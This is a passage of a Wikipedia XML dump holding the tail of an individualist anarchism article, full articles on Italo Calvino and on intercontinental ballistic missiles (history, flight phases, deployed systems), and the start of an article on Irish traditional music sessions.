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# {{note|Spooner_Property}} &quot;The only way, in which ['the wealth of nature'] can be made useful to mankind, is by their taking possession of it individually, and thus making it private property.&quot; - Lysander Spooner, Law of Intellectual Property. &quot;That there is an entity known as the community which is the rightful owner of all land anarchists deny. I...maintain that the community is a non-entity, that it has no existence, and is simply a combination of individuals having no prerogative beyond those of the individuals themselves.&quot; - Benjamin Tucker, Liberty
# {{note|Gagnon}} Gagnon, Paul E. [http://www.progress.org/2003/libsoc01.htm] ''Libertarian Socialism'']
# {{note|TuckerLiberty}} [http://www.zetetics.com/mac/tir1.htm Benjamin Tucker, Liberty And Individualist Anarchism], by Wendy McElroy

==See also==
* [[Individualism]]
* [[Anarchism]]
* [[American individualist anarchism]]
* [[Christian anarchism]]
* [[Geolibertarianism]]

== External links ==

* [http://www.spaz.org/~dan/individualist-anarchist/resources.html Individualist Anarchist Resources]
* [http://oll.libertyfund.org/Texts/LFBooks/Burke0061/Vindication/0339_Bk.html ''A Vindication of Natural Society: or, a View of the Miseries and Evils arising to Mankind from every Species of Artificial Society''] by [[Edmund Burke]] - some regard this liberal essay to be the first to advocate anarchy
* [http://socserv2.socsci.mcmaster.ca/~econ/ugcm/3ll3/godwin/pj.html ''Enquiry Concerning Political Justice''] by [[William Godwin]]
*[http://www.blancmange.net/tmh/teaho/theego0.html ''The Ego and his Own''] by [[Max Stirner]], translated by Christian individualist anarchist [[Steven T. Byington]]
* [http://raforum.apinc.org/article.php3?id_article=169 ''Manifesto'' by Josiah Warren] (1841)
* [http://www.blancmange.net/tmh/pdf/jwarren.pdf ''Equitable Commerce'' by Josiah Warren]
* [http://flag.blackened.net/daver/anarchism/tucker/tucker2.html ''State Socialism and Anarchism: How far they agree, and wherein they differ.''] by [[Benjamin Tucker]] (1886)
* [http://melior.univ-montp3.fr/ra_forum/en/people/armand_e/individualism.html ''Anarchist Individualism as Life and Activity''] by E. Armand (1907)
* [http://www.weisbord.org/conquest8.htm ''I. Liberal-Anarchism VIII. Libertarianism''] from ''The Conquest of Power'', by Albert Weisbord[http://www.weisbord.org/] discusses individualism of Godwin and Stirner
* [http://www.weisbord.org/conquest10.htm American Liberal-Anarchism] from ''The Conquest of Power'', by Albert Weisbord[http://www.weisbord.org/]
* [http://www.independent.org/issues/article.asp?id=10 ''American Anarchism'' by Wendy McElroy] 19th Century Individualist Anarchism in America
* [http://libcom.org/library/social-anarchism--lifestyle-anarchism-murray-bookchin A critique of Individualist Anarchism by Murray Bookchin]
* [http://world.std.com/~bbrigade/ Bad Press] Contemporary Individualist Anarchist Publications
* [http://www.spaz.org/~dan/individualist-anarchist/ Individualist-Anarchist.Net]
* [http://www.zetetics.com/mac/articles/jlsorg.html ''The Schism Between Individualist and Communist Anarchism'']
* [http://flag.blackened.net/liberty/proudanar.html Proudhon and Anarchism] by Larry Gambone
* [http://www.spaz.org/~dan/ias/index.html Individualist Anarchist Society at UC Berkeley]

[[Category:Political theories]]
[[Category:Anarchism]]

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[[es:Anarquismo individualista]]
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  <page>
    <title>Italo Calvino</title>
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      <text xml:space="preserve">'''Italo Calvino''' ([[October 15]],[[1923]] &amp;ndash; [[September 19]], [[1985]]) was an [[Italy|Italian]] [[writer]] and [[novelist]].

Born in [[Santiago de Las Vegas]], [[Cuba]], to botanists Mario Calvino and Evelina Mameli (a descendant of [[Goffredo Mameli]]) and brother of [[Floriano Calvino]], a famous [[geologist]], he soon moved to his family's homeland of [[Italy]], where he lived most of his life.

[[Image:calvino-italo.jpg|thumb|Italo Calvino]]

==Timeline==

He stayed in [[San Remo, Italy|San Remo]], on the [[Italian Riviera]], for some 20 years, and enrolled in the ''Avanguardisti'' (a [[fascism|fascist]] youth organisation to which membership was practically compulsory) with whom he took part in the occupation of the [[French Riviera]]. He suffered some religious troubles, his relatives being followers of the [[Waldensian]] Protestant Church. He met [[Eugenio Scalfari]] (later a politician and the founder of the major newspaper ''La Repubblica''), with whom he would remain a close friend.

In [[1941]] he moved to [[Turin]], after a long hesitation over living in this town or [[Milan]]. He often humorously described this choice, and used to define Turin as &quot;a city that is serious but sad.&quot;

In [[1943]], he joined the Partisans in the Italian Resistance, in the [[Giuseppe Garibaldi|Garibaldi]] brigade, with the battlename of ''Santiago'', and with Scalfari he created the MUL (liberal universitarian  movement).  He then entered the (still clandestine) [[Italian Communist Party]].

In [[1947]], Calvino graduated from Turin's [[university]] with a thesis on [[Joseph Conrad]] and started working with the official Communist paper ''L'Unità''; he also had a short relationship with the [[Einaudi]] publishing house, which put him in contact with [[Norberto Bobbio]], [[Natalia Ginzburg]], [[Cesare Pavese]] and [[Elio Vittorini]]. With Vittorini he wrote for the weekly ''Il Politecnico'' (a cultural magazine associated with the university). He then left Einaudi to work mainly with L'Unità and the newborn communist weekly political magazine ''Rinascita''.

In [[1950]], he worked again for the Einaudi house, where he became responsible for the literary volumes. The following year, presumably in order to verify a possibility of advancement in the communist party, he visited the [[Soviet Union]]. The reports and correspondence he produced from this visit were later collected and earned him literary prizes.

In [[1952]] Calvino wrote with [[Giorgio Bassani]] for ''[[Botteghe Oscure]]'', a magazine named after the popular name of the party's head-offices, and worked for ''Il Contemporaneo'', a [[marxism|Marxist]] weekly.

It was in [[1957]] that Calvino unexpectedly left the Communist party, and his letter of resignation (soon famous) was published in ''L'Unità''. 

He found new spaces for his periodic writings in the magazines ''Passato e Presente'' and ''Italia Domani''. Together with Vittorini he became a co-editor of ''Il Menabò di letteratura'', a position that he held for many years.

Despite the previously severe restrictions for foreigners holding communist views, he was allowed to visit the [[United States]], where he stayed six months (four of which he spent in [[New York]]), after an invitation by the [[Ford Foundation]]. Calvino was particularly impressed by the &quot;New World&quot;: &quot;Naturally I visited the South and also California, but I always felt a New Yorker. My city is New York.&quot;  In the States he also met Esther Judith Singer, whom he married a few years later in [[Havana]], during a trip in which he visited his birthplace and met [[Ernesto Che Guevara]].

Back in Italy, and once again working for Einaudi, he started publishing some of his ''cosmicomics'' in ''Il Caffè'', a literary magazine.

Vittorini's death in [[1966]] had a heavy influence on Calvino and caused him to experience what has been defined as an &quot;intellectual depression&quot;, which the writer himself described as an important passage in his life: &quot;...I ceased to be young. Perhaps it's a metabolic process, something that comes with age, I'd been young for a long time, perhaps too long, suddenly I felt that I had to begin my old age, yes, old age, perhaps with the hope of prolonging it by beginning it early&quot;.

He then started to frequent [[Paris]] (where he was nicknamed ''L'ironique amusé''). Here he soon joined some important circles like the [[Oulipo]] (''Ouvroir de littérature potentielle'') and met [[Roland Barthes]] and [[Claude Lévi-Strauss]], in the fermenting atmosphere that was going to evolve into the [[1968]]'s cultural revolution (the [[French May]]); in his French experience he also became fond of [[Raymond Queneau]]'s works, which would sensibly influence his later production.

Calvino also had more intense contacts with the academic world, with notable experiences at the [[University of Paris|Sorbonne]] (with Barthes) and at [[Urbino]]'s [[university]]. His interests included classical studies ([[Honoré de Balzac]], [[Ludovico Ariosto]], [[Dante Alighieri|Dante]], [[Ignacio de Loyola]], [[Miguel de Cervantes|Cervantes]], [[William Shakespeare|Shakespeare]], [[Cyrano de Bergerac|Cyrano de Bergérac]], [[Giacomo Leopardi]]) while at the same time, not without a certain surprise from the Italian intellectual circles, he wrote [[novel]]s for [[Playboy]]'s Italian edition ([[1973]]). He became a regular contributor to the important Italian newspaper ([[Corriere della Sera]]).

In [[1975]] he was made Honorary Member of the [[American Academy]], the following year he was awarded the Austrian State Prize for European Literature. He visited [[Japan]] and [[Mexico]] and gave lectures in several American towns.

In [[1981]] he was awarded the prestigious French [[Légion d'Honneur]].

In [[1985]] he died in [[Siena, Italy|Siena]] at the ancient [[hospital]] of ''Santa Maria della Scala'' of a [[cerebral hemorrhage]].

==[[If On a Winter's Night a Traveler]]== 

Perhaps Calvino's most famous novel, this begins with the words, &quot;You are about to begin reading Italo Calvino's new novel, ''If on a winter's night a traveller''.&quot; It's a novel therefore in which the reader plays a starring role. The reader gets a love interest, the Other Reader, and obstacles thrown in his way. In particular, the first story runs out after only a chapter. A pattern is quickly set up with single chapters of novels being cut off in their prime. Interspersed with these are chapters in which the reader's story, the pursuit of the end of these intriguing novels, and the pursuit of the Other Reader, is played out.  Each chapter is written in the style of a different genre of work.

The central concept of this novel is the quest to find a complete and coherent narrative: a quest being undertaken by the actual reader and the Reader as character, struggling to hunt down the ever-elusive Chapters. In fact Calvino does hide a short, elegant story in the book (more of a vignette, really), and with a magician's flair he hides it in plain sight in a part of the book to which most readers give cursory attention.

== Bibliography ==
''(dates are of original publication)''

* 1947 [[The Path to the Nest of Spiders]] - ''Il sentiero dei nidi di ragno''
* 1949 ''Ultimo viene il corvo''
* 1951 ''I giovani del Po''
* 1951, 1959 [[The Nonexistent Knight The Cloven Viscount|The Nonexistent Knight &amp; The Cloven Viscount]] - ''Il cavaliere inesistente'', ''Il Visconte dimezzato'' - (two novellas)
* 1952 The Argentine Ant - ''La formica argentina'' 
* 1954 ''L'entrata in Guerra''
* 1956 [[Italian Folktales]] - ''Fiabe Italiane'' - (retelling of traditional stories)
* 1956 [[libretto]] for ''La panchina'', [[opera]] by [[Sergio Liberovici]]
* 1958 ''I racconti''
* 1957 [[The Baron in the Trees]] - ''Il barone rampante''
* 1959 [[Our Ancestors]] - ''I nostri antenati'' (a single edition containing &quot;Il cavaliere inesistente&quot;, &quot;Il Visconte dimezzato&quot;, and &quot;Il barone rampante&quot;)
* 1963 [[Marcovaldo]]
* 1963 The Watcher - ''La Giornata di Uno Scrutatore''
* 1963 [[La speculazione edilizia]]
* 1965 [[Cosmicomics]] - ''Cosmicomiche''
* 1967 [[T Zero]] - ''Ti con zero''
* 1969 [[The Castle of Crossed Destinies]] - ''Il castello dei destini incrociati''
* 1970 [[Difficult Loves]] - ''Gli amori difficili'' (stories from the [[1940s]] and [[1950s]])
* 1972 [[Invisible Cities]] - ''Le Città Invisibili''
* 1973 ''Il nome, il naso''
* 1974 ''Autobiografia di uno spettatore''
* 1975 ''La corsa delle giraffe''
* 1963 [[The Watcher and other stories]] (stories)
* 1979 [[If On a Winter's Night a Traveler]] - ''Se una notte d'inverno un viaggiatore'' (English translation ISBN 0919630235)
* 1980, 1982 [[The Uses of Literature]] (essays)
* 1982 libretto for ''La Vera Storia'', opera by [[Luciano Berio]]
* 1983 [[Mr. Palomar]] - ''Palomar''
* 1983 [[Fantastic Stories]] (stories) - ''Racconti Fantastici Dell'Ottocento: Volume Primo, Il Fantastico Visionario'' and ''Racconti Fantastici Dell'Ottocento: Volume Secondo, Il Fantastico Quotidiano''
* 1983 ''Science et métaphore chez [[Galileo Galilei|Galilée]]'', lecture at the Ecole des Hautes Etudes de la Sorbonne
* 1984 ''Collezione di sabbia''

Posthumous editions:
* 1988 [[Under the Jaguar Sun]] - ''Sotto il sole giaguaro'' (stories)
* 1988 [[Six Memos for the Next Millennium]] - ''Lezioni Americane''
* 1990 [[The Road to San Giovanni]]  - ''La strada di San Giovanni'' (autobiographical stories)
* 1993 [[Numbers in the Dark]], containing ''Prima che tu dica &quot;Pronto&quot;'' (Before You Say Hello)

== Quotations ==

===Italo Calvino===
:I set my hand to the art of writing early on. Publishing was easy for me, and I at once found favor and understanding. But it was a long time before I realized and convinced myself that this was anything but mere chance. 

:Everything can change, but not the language that we carry inside us, like a world more exclusive and final than one's mother's womb.

:Your first book already defines you, while you are really far from being defined. And this definition is something you may then carry with you for the rest of your life, trying to confirm it or extend or correct or deny it; but you can never eliminate it. (preface to ''The Path to the Nest of Spiders'')

:In an age when other fantastically speedy, widespread media are triumphing and running the risk of flattening all communication onto a single, homogeneous surface, the function of literature is communication between things that are different simply because they are different, not blunting but even sharpening the differences between them, following the true bent of the written language. (''Six Memos for the Next Millennium'')

:Then we have computer science. It is true that software cannot exercise its powers of lightness except through the weight of hardware. But it is the software that gives the orders, acting on the outside world and on machines that exist only as functions of software and evolve so that they can work out ever more complex programs. The second industrial revolution, unlike the first, does not present us with such crushing images as rolling mills and molten steel, but with &quot;bits&quot; in a flow of information traveling along circuits in the form of electronic impulses. The iron machines still exist, but they obey the orders of weightless bits.
:(''Six Memos for the Next Millennium {Lightness}'')

===[[Gore Vidal]]===
:Italo Calvino has advanced far beyond his American and English contemporaries. As they continue to look for the place where the spiders make their nests, Calvino has not only found this special place but learned how himself to make fantastic webs of prose to which all things adhere.

== External links ==
* [http://des.emory.edu/mfp/calvino/cal.html Italo Calvino, Excerpts]
* [http://www.korculainfo.com/marco-polo-korcula-invisible-cities.htm Italo Calvino - Invisible Cities]
* [http://www.comradeche.com/index.php?id=articles/italocalvino Italo Calvino's reflections on Che Guevara]
* [http://www.italo-calvino.com Outside the Town of Malbork]
* [http://www.italo-calvino.com/ifon.htm If on a winter's night a traveler] (A selection from the first chapter)
* [http://www.emory.edu/EDUCATION/mfp/calvaldrada.html Cities &amp; Eyes] (from ''Invisible cities'')
* [http://members.ozemail.com.au/~xenophon/calvino.html Calvino on Myth]
* [http://www.online-library.org/fictions/bet.html How Much Shall We Bet]? by Italo Calvino
* [http://www.sccs.swarthmore.edu/users/00/pwillen1/lit/index2.htm In Calvino veritas] - in this site, [http://www.sccs.swarthmore.edu/users/00/pwillen1/lit/calchap.htm Calvino and Chaplin]
* [http://greatsfandf.com/AUTHORS/ItaloCalvino.shtml Italo Calvino]: discussion of Calvino's fantastic and quasi-fantastic works.
* [http://www.themodernword.com/calvino/index.html Libyrinth (sic): Italo Calvino]

[[Category:1923 births|Calvino, Italo]]
[[Category:1985 deaths|Calvino, Italo]]
[[Category:Italian novelists|Calvino, Italo]]
[[Category:Postmodernists|Calvino, Italo]]

[[be:Італё Кальвіна]]
[[ca:Italo Calvino]]
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[[fa:ایتالو کالوینو]]
[[fr:Italo Calvino]]
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[[mk:Итало Калвино]]
[[nl:Italo Calvino]]
[[ja:イタロ・カルヴィーノ]]
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[[zh:伊塔罗·卡尔维诺]]</text>
    </revision>
  </page>
  <page>
    <title>ICBM</title>
    <id>14938</id>
    <revision>
      <id>15912460</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Intercontinental ballistic missile]] 
</text>
    </revision>
  </page>
  <page>
    <title>Intercontinental ballistic missile</title>
    <id>14939</id>
    <revision>
      <id>40222266</id>
      <timestamp>2006-02-19T01:35:05Z</timestamp>
      <contributor>
        <username>Marcika</username>
        <id>42989</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] typo fix &quot;missles&quot;</comment>
      <text xml:space="preserve">[[Image:minuteman3launch.jpg|framed|A [[Minuteman III]] missile soars after a test launch.]]
An '''intercontinental ballistic missile''', or '''ICBM''', is a very-long-range (greater than 5,500 km or 3,500 miles) [[ballistic missile]] typically designed for [[nuclear weapons delivery]], i.e., delivering one or more [[nuclear weapon|nuclear warheads]]. It uses a [[Ballistics|ballistic]] [[trajectory]] involving a significant ascent and descent, including [[sub-orbital flight]]. ICBMs are differentiated by maximum range from other [[ballistic missile]]s: [[intermediate-range ballistic missile]]s (IRBMs), short-range ballistic missiles, and the newly named theater ballistic missiles. One particular weapon developed by the Soviet Union ([[FOBS]]) had a partial [[orbit|orbital]] trajectory, and unlike most ICBMs its target could not be deduced from its orbital flight path. It was decommissioned in compliance with arms control agreements, which address the maximum range of ICBMs and prohibit orbital or fractional-orbital weapons.  The following nations currently have operational ICBM systems: [[Russia]], the [[United States]], [[France]] [http://www.nrdc.org/nuclear/nudb/datab16.asp], the [[UK]], and [[People's Republic of China|China]]. [[Pakistan]] has IRBMs but its ICBMs are under Research and Development see [[Pakistan and weapons of mass destruction#Missiles|Pakistan's ballistic missiles]]. 
[[India]] has IRBMs but is developing ICBMs, see [[India and weapons of mass destruction#Missiles|ballistic missiles of India]]. 

In [[2002]], the United States and Russia agreed in the [[SORT]] treaty to reduce their deployed stockpiles to not more than 2,200 warheads each.

== Flight phases ==
The following flight phases can be distinguished:
*boost phase - 3 to 4 minutes (for a [[solid rocket]] shorter than for a [[Liquid rocket propellants|liquid-propellant rocket]]); altitude at the end of this phase is 150 -200 km, typical burn-out speed is 7 km/s
*midcourse phase - ca. 25 minutes - [[suborbital flight]] in an [[elliptic orbit]], i.e. the orbit is part of an [[ellipse]] with vertical major axis; the [[apogee]] (halfway the midcourse phase) is at an altitude of typically ca. 1200 km; the [[semi-major axis]] is between one half of the radius of the Earth and the radius; the projection of the orbit on the Earth's surface is a [[great circle]] - the missile may release several independent warheads, and penetration aids such as metallic-coated balloons, aluminum [[Chaff (radar countermeasure)|chaff]], and full-scale warhead [[decoy]]s
*[[reentry]] phase (starting at an altitude of 100 km) - 2 minutes - impact is at a speed of up to 4 km/s (for early ICBMs less than 1 km/s).

See also [[Missile Defense Agency]], [[countermeasure]].

== History ==
The [[progenitor]] of the ICBM was the German A9/10, which was never developed but only proposed by [[Wernher von Braun]]. The [[progenitor]] of the IRBM was the German [[V-2 rocket|V2]] (Vergeltung, or &quot;vengeance&quot;) rocket designed by von Braun that used liquid propellant and an inertial guidance system.  It was launched from a mobile launcher in order to make it less susceptible to Allied air attacks. Following World War 2 von Braun and his lead scientist went to work directly for the US Army through [[Operation Paperclip]] developing the V2 into the [[Redstone]] [[IRBM]] and [[Jupiter IRBM]]. Due to treaty agreements the US was able to base these IRBMs in countries close to the [[USSR]] within strategic range. The USSR had no similar territory in the 1950s so under the direction of [[Sergei Korolev]] a crash programme to develop an ICBM began which at one stage consumed 5% of the entire Soviet military budget. Korolev was given access to captured V2 materials but evolved a distinct design, the [[R-7 rocket|R-7]], that was declared 'operational' in 1957. Competition between the US armed services meant that each force developed its own ICBM programme, slowing progress. The US's first ICBM was the [[Atlas (rocket)|Atlas]], operational in 1959. Both the R7 and Atlas required a large launch facility making them vulnerable to attack and could not be kept in a ready state. Early ICBMs formed the basis of many space launch systems. Examples include: [[Atlas (rocket)|Atlas]], [[Redstone rocket]], [[Titan (rocket family)|Titan]], [[R-7 rocket|R-7]], and [[Proton (rocket)|Proton]], which was derived from the earlier ICBMs but never deployed as an ICBM. The [[UK]] built its own ICBM [[Black Knight (rocket)|Black Knight]] but it was never made operational due to the difficulty of finding a launch site away from population centers. Under the direction of [[Robert McNamara]] the US initiated the [[LGM-30 Minuteman]], [[Polaris ballistic missile|Polaris]] and [[Skybolt]] solid fuel ICBMs. Modern ICBMs tend to be smaller than their ancestors (due to increased accuracy and smaller and lighter warheads) and use solid fuels, making them less useful as orbital launch vehicles. Deployment of these systems was governed by the strategic theory of [[Mutually Assured Destruction]].

In the 1970s development began of [[Anti-ballistic missile|Anti-Ballistic Missile]] Systems by both the US and USSR but these were restricted by treaty in order to preserve the value of the existing ICBM systems. President [[Ronald Reagan]] launched the [[Strategic Defense Initiative]] as well as the [[MX]] and [[Midgetman]] ICBM programmes. This led to the agreement of a series of [[Strategic Arms Reduction Treaty]] negotiations. 

Countries in the early stages of developing ICBMs have all used liquid propellants for simplicity's sake.

== Modern ICBMs ==
Modern ICBMs typically carry [[multiple independently targetable reentry vehicle]]s (''MIRVs''), each of which carries a separate [[nuclear weapon|nuclear]] warhead, allowing a single missile to hit multiple targets.  MIRV was an outgrowth of the rapidly shrinking size and weight of modern warheads and the Strategic Arms Limitation Treaties which imposed limitations on the number of launch vehicles ([[SALT I]] and [[SALT II]]). It has also proved to be an &quot;easy answer&quot; to proposed deployments of [[Anti-ballistic missile|ABM]] systems &amp;ndash; it is far less expensive to add more warheads to an existing missile system than to build an ABM system capable of shooting down the additional warheads; hence, most ABM system proposals have been judged to be impractical.  The only operational ABM systems were deployed in the 1970s, the US Safeguard ABM facility was located in North Dakota and was operational from 1975-1976.  The USSR deployed its Galosh ABM system around Moscow in the 1970s, which remains in service.  

ICBMs can be deployed from multiple platforms:
*in [[missile silo]]s, which offer some protection from military attack (including, the designers hope, some protection from a nuclear first strike)
*on [[submarine]]s: [[submarine-launched ballistic missile]]s (SLBMs); most or all SLBMs have the long range of ICBMs (as opposed to IRBMs) 
*on heavy trucks; this applies to one version of the [[RT-2UTTH Topol M]] which may be deployed from a self-propelled [[Mobile launcher vehicle|mobile launcher]], capable of moving through roadless terrain, and launching a missile from any point along its route
*mobile launchers on rails; this applies, for example, to РТ-23УТТХ &quot;Молодец&quot; ([[RT-23 Molodets|RT-23UTTH &quot;Molodets&quot;]] -- SS-24 &quot;Sсаlреl&quot;)  
The last three kinds are mobile and therefore hard to find.

During storage, one of the most important features of the missile is its serviceability.  One of the key features of the first [[embedded system|computer-controlled]] ICBM, the [[Minuteman missile]] was that it could quickly and easily use its computer to test itself.

In flight, a booster pushes the warhead and then falls away.  Most modern boosters are [[solid rocket|solid-fueled rocket motor]]s, which can be stored easily for long periods of time.  Early missiles used [[liquid rocket|liquid-fueled rocket motor]]s.  Liquid-fueled ICBMs were generally not kept fueled all the time, and therefore fueling the rocket was necessary before a launch.  This annoying procedure was a source of significant operational delay, and therefore might cause the rockets to be destroyed before they could be used.  It also provided opponents with intelligence because it was a definite observable event that indicated the start of an attack.

Once the booster falls away, the warhead falls on an unpowered path much like an orbit, except that it hits the earth at some point.  Moving in this way is stealthy.  No rocket gases or other emissions occur to indicate the missile's position to defenders.  Also, it is the fastest way to get from one part of the Earth to another.  This increases the element of surprise.  The high speed of a ballistic warhead (near 5 miles per second) also make it difficult to intercept.

Many authorities say that missiles also release aluminized balloons, electronic noisemakers, and other items intended to confuse interception devices and radars.

The high speed can cause the missile to get very hot as it reenters the atmosphere.  Ballistic warheads are protected by heatshields constructed of materials such as [[pyrolytic graphite]], and in early missiles, thick [[plywood]].  Plywood approaches the strength per weight of carbon fiber/epoxy composites and chars slowly, protecting the missile.

Accuracy is crucial, because doubling the accuracy decreases the needed warhead energy by a factor of four.  Accuracy is limited by the accuracy of the navigation system and the available geophysical information.  Many authorities believe that most government-supported geophysical mapping initiatives such as [[GPS]], and ocean satellite altitude systems such as [[Seasat]], probably have a covert purpose to map mass concentrations and determine local gravitic anomalies, in order to improve accuracies of ballistic missiles.

Strategic missile systems are thought to use custom [[integrated circuit]]s designed to calculate [[navigation]]al [[differential equation]]s thousands to millions of times per second in order to reduce navigational errors caused by calculation alone.  These circuits are usually a network of binary addition circuits that continually recalculate the missile's position.  The inputs to the navigation circuit are set by a general purpose computer according to a navigational input schedule loaded into the missile before launch.

Low-flying guided [[cruise missile]]s are an alternative to [[ballistic missile]]s.

== Specific missiles ==
=== Land-based ICBMs and cruise missiles ===
The US Air Force currently operates just over 500 ICBMs at around 15 missile complexes located primarily in the northern Rocky Mountain states and the Dakotas. These are of the [[LGM-30 Minuteman]] III and [[Peacekeeper missile|Peacekeeper]] ICBM variants. Peacekeeper missiles were phased out in 2005[http://www.af.mil/news/story.asp?storyID=123011845]. All USAF [[Minuteman II]] missiles have been destroyed in accordance to START, and their launch silos have been sealed or sold to the public. To comply with the [[START II]] most US multiple independently targetable reentry vehicles, or [[MIRV]]s, have been eliminated and replaced with single warhead missiles. However, since the abandonment of the START II treaty, the U.S. is said to be considering retaining 800 warheads on 500 missiles.[http://www.thebulletin.org/issues/nukenotes/mj04nukenote.html]

The United States Air Force awards two badges for performing duty in a nuclear missile silo.  The [[Missile Badge]] is presented to commissioned officers while the [[Space and Missile Badge|Space and Missile Pin]] is awarded to silo ground and support personnel.

=== Sea-based ICBMs ===
[[Image:Trident missile image.jpg|thumb|Trident launch at sea from a Royal Navy submarine.]]
*The [[US Navy]] currently has 14 [[Ohio class submarine|''Ohio''-class]] [[SSBN]]s deployed. Each submarine is equipped with a complement of 24 Trident missiles, eight with [[Trident I]] missiles, and ten with [[Trident II]] missiles (336 missiles total).

*The [[French Navy]] constantly maintains at least four active units, relying on two classes of nuclear-powered ballistic submarines ([[SSBN]]): the older [[Redoutable class submarine|''Redoutable'' class]], which are being progressively decommissioned, and the newer [[Triomphant class submarine|''Triomphant'' class]].  These carry 16 [[M45 SLBM|M45]] missiles with TN75 warheads, and are scheduled to be upgraded to [[M51 SLBM|M51]] nuclear missile around 2010.

*The UK's [[Royal Navy]] has four [[Vanguard class submarine]]s, each armed with 16 Trident II SLBMs.

*[[China]]'s [[People's Liberation Army Navy]] has one [[Xia class submarine]] with 12 single-warhead JL-1 [[SLBM]]s. The PLAN is also developing the new Type 094 [[SSBN]] that will have up to 16 [[JL-2]] SLBMs (possibly [[MIRV]]), which are also in development.

=== Current and former US ballistic missiles ===
*[[Atlas (rocket)|Atlas]] (SM-65, CGM-16) former ICBM launched from silo, the rocket is now used for other purposes
*[[Titan I]] (SM-68, HGM-25A)
*[[Titan II]] (SM-68B, LGM-25C) - former ICBM launched from silo, the rocket is now used for other purposes
*[[Minuteman missile|Minuteman I]] (SM-80, LGM-30A/B, HSM-80)
*[[Minuteman missile|Minuteman II]] (LGM-30F)
*[[Minuteman missile|Minuteman III]] (LGM-30G) - launched from silo - as of [[June 28]], [[2004]], there are 517 Minuteman III missiles in active inventory
*[[LG-118A Peacekeeper]] / MX (LG-118A, MX) - silo-based; 29 missiles were on alert at the beginning of 2004; all are to be removed from service by 2005.
*[[Midgetman missile|Midgetman]] - has never been operational - launched from mobile launcher
*[[Polaris missile|Polaris]] A1, A2, A3 - (UGM-27/A/B/C) former SLBM
*[[Poseidon missile|Poseidon]] C3 - (UGM-73) former SLBM
*[[Trident missile|Trident]] - (UGM-93A/B) SLBM - Trident II (D5) was first deployed in 1990 and is planned to be deployed past 2020.

=== Soviet/Russian ===
Specific types of Soviet/Russian ICBMs include:
*[[SS-6]] SAPWOOD / R-7 / 8K71
*[[SS-7]] SADDLER / [[R-16]]
*[[SS-8]] SASIN / R9
*[[SS-9]] SCARP
*[[SS-11]] SEGO
*[[SS-17]] SPANKER
*[[SS-18]] SATAN / R-36M2 / Voivode
*[[SS-19]] STILLETO
*[[SS-24]] SCALPEL / RT-23
*[[SS-25]] SICKLE / Topol
*SS-27 / [[Topol-M]]

=== People's Republic of China ===
Specific types of Chinese ICBMs called Dong Feng (&quot;East Wind&quot;).
*[[DF-3]] - cancelled. Program name transferred to a MRBM.
*[[DF-5]] [[CSS-4]] - silo, 12,000km range (replaced now with DF-5A 13,000km)
*[[DF-6]] - cancelled
*[[DF-22]] - cancelled by 1995.
*[[DF-31]] [[CSS-9]] - silo and road mobile, 8,000km range (DF-31A 10,000km)
*[[DF-41]] [[CSS-X-10]] - in development.

== Ballistic missile submarines ==
Specific types of [[ballistic missile]] [[submarine]]s include:
*[[George Washington class submarine|''George Washington'' class]]
*[[Ethan Allen class submarine|''Ethan Allen'' class]]
*[[Lafayette class submarine|''Lafayette'' class]]
*[[Benjamin Franklin class submarine|''Benjamin Franklin'' class]]
*[[Ohio class submarine|''Ohio'' class]]
*[[Resolution class submarine|''Resolution'' class]]
*[[Vanguard class submarine|''Vanguard'' class]]
*[[Typhoon class submarine|''Typhoon'' class]]
*[[Delta IV class submarine|''Delta IV'' class]]
*[[Redoutable class submarine|''Redoutable'' class]]
*[[Triomphant class submarine|''Triomphant'' class]]
*[[Xia class submarine|''Xia'' class]]
*[[List of NATO reporting names for ballistic missile submarines|Additional Soviet/Russian ballistic missile submarines]]

== See also ==
* [[United States and weapons of mass destruction]]
* [[Russia and weapons of mass destruction]]
* [[China and weapons of mass destruction]]
* [[France and weapons of mass destruction]]
* [[SLBM]]
* [[Anti-ballistic missile]]
* [[Anti-Ballistic Missile Treaty]]
* [[Atmospheric reentry]]
* [[nuclear disarmament]]
* [[nuclear navy]]
* [[nuclear warfare]]
* ''[[Force de frappe]]''
* [[submarine]]
* [[Fractional Orbital Bombardment System]]
* [[Strategic triad]]
* [[Air Force Space Command]]
* [[ICBM address]]

== External links ==
*[http://es.rice.edu/projects/Poli378/Nuclear/f04.stratg_invent.html Estimated Strategic Nuclear Weapons Inventories (September 2004)]
* [http://www.fas.org/nuke/guide/usa/icbm/index.html Intercontinental Ballistic and Cruise Missiles]

{{Missile types}}

{{airlistbox}}

[[Category:Intercontinental ballistic missiles]]

[[cs:Mezikontinentální balistická raketa]]
[[de:Interkontinentalrakete]]
[[es:Misil balístico intercontinental]]
[[it:Missile balistico intercontinentale]]
[[ms:Peluru berpandu balistik jarak benua]]
[[ja:大陸間弾道ミサイル]]
[[pl:Międzykontynentalny pocisk balistyczny]]
[[ru:Межконтинентальная баллистическая ракета]]
[[sk:Medzikontinentálna balistická raketa]]
[[sl:Medcelinska balistična raketa]]
[[fi:ICBM]]
[[sv:Interkontinental ballistisk missil]]</text>
    </revision>
  </page>
  <page>
    <title>Irish Sessions</title>
    <id>14940</id>
    <revision>
      <id>15912462</id>
      <timestamp>2002-08-28T07:00:24Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <comment>Doesn't seem to have had an intention of ever becoming an encyclopedia article; changing into a redirect to the most closely related Wikipedia subject</comment>
      <text xml:space="preserve">#REDIRECT [[Irish traditional music session]]</text>
    </revision>
  </page>
  <page>
    <title>Irish traditional music session</title>
    <id>14943</id>
    <revision>
      <id>35331792</id>
      <timestamp>2006-01-16T00:04:01Z</timestamp>
      <contributor>
        <username>Kuchiguchi</username>
        <id>64368</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{merge|Pub session}}
'''Irish traditional music sessions''' are informal gatherings at which people play [[Irish traditional music]]. The general session scheme is that someone starts a tune, and those who know it join in. Good session etiquette requires not playing if one does not know the tune, and waiting until a tune one knows comes along.  

